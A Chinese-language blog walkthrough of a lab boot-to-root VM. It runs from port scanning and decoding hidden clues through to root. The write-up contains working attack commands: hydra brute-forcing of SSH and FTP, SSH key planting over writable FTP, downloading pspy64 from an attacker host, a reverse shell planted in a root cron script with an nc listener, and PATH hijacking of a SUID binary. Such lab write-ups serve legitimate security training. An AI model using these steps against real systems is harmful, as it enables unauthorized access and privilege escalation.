前言提要
4.7号晚,接收建议。
我是否太注重于打靶?更应该多了解了解常见的框架比如Spring、Apache等以及多积累相关经验,捋清楚自己的思绪。
后期的博客应该会多多更新常见CMS的相关知识,以及一些代码的编写…(把这系列靶机打完后,多更多设计其他知识不仅限于靶机wp)
kali:192.168.132.139
靶机:192.168.132.172
信息收集
#先简单扫端口
nmap -p- 192.168.132.172
#再全面扫面
nmap -A -sV -p- -T4 192.168.132.172
开放端口21、22、80(常规想法:21和22端口日常爆破,去80端口的web页面进一步信息收集)
页面没东西,但是在源代码里面有一串密文
Z28gYmFjayBpbnRydWRlciEhISBkR2xuYUhRZ2MyVmpkWEpwZEhrZ1pISnBjSEJwYmlCaFUwSnZZak5DYkVsSWJIWmtVMlI1V2xOQ2FHSnBRbXhpV0VKellqTnNiRnBUUWsxTmJYZ3dWMjAxVjJGdFJYbGlTRlpoVFdwR2IxZHJUVEZOUjFaSlZWUXdQUT09
#四次解密后得到一个隐藏目录
/imfuckingmad.txt
去隐藏目录看一看又是一个奇怪的加密,寻找解密方式
http://www.dcode.fr/cipher-identifier
发现是 Brainfuck 解密,然后进行解密
得到一张二维码: /iTiS3Cr3TbiTCh.png
然后去在线二维码解密得到一个网址:https://i.imgur.com/a4JjS76.png
去到页面发现一些账号名字,记下来放进user.txt
拿着账号去爆破FTP和SSH(利用的是本地的密码本rockyou)
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.132.172 ssh
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.132.172 ftp
然后是爆破了ftp的账号:luther 密码:mypics
成功登陆ftp,发现hubert的目录权限可以任意读写
然而进入hubert却什么东西都没有
ftp 192.168.132.172
ls
cd hubert
ls -al
公私钥登陆
考虑在hubert用户的目录下写下私钥来进行免密登陆
本地生成公钥对
把公钥复制成authorized_keys文件
在家目录下创建.ssh目录,然后将kali的公钥上传到该目录下
mkdir .ssh
cd .ssh
put authorized_keys
ssh hubert@192.168.132.166 -i key
提权
在本地目录下有一个py文件,打开看一看
属主是root且内容执行的是系统命令
判断该程序是否为定时任务(下载pspy64)
wget http://192.168.111.7/pspy64
chmod +x pspy64
./pspy64
发现该py文件一分钟执行一次,所以我们可以利用定时任务获取root权限
使用nano修改文件写入反弹shell,并保存为emrgency.pye
然后再次进行覆盖
nano emergency.py
ls
mv emergency.pye emergency.py
cat emergency.py
在kali本机监听,等待反弹shell成功即可获取root
nc -lvnp 3333
第二种提权:使用环境变量进行命令劫持提权
这个提权步骤是和blues3一模一样的
搜索一下具有suid权限的命令
find / -perm -u=s -type f 2>/dev/null
发现一个getinfo命令
执行一下发现,这个命令集合了(系统命令)
ifconfig
cat /etc/hosts
uname -a
所以思路:修改其中一个命令即可获取root权限
这里既然调用了系统命令,那么我们可以自行编写一个同名文件,比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权
因此,在这种情况下,我们可以在环境变量 PATH 中提供一个目录 (/tmp),并创建一
个 ip 或者 cat 文件,用于劫持命令,执行我们自定义的二进制文件就可以提权:
export PATH=/tmp/:$PATH 把/tmp路径加入到系统路径中。
cd /tmp
echo '/bin/bash' > ip 把/bin/bash写入到ip中。
chmod +x ip 增加执行权限
/usr/bin/getinfo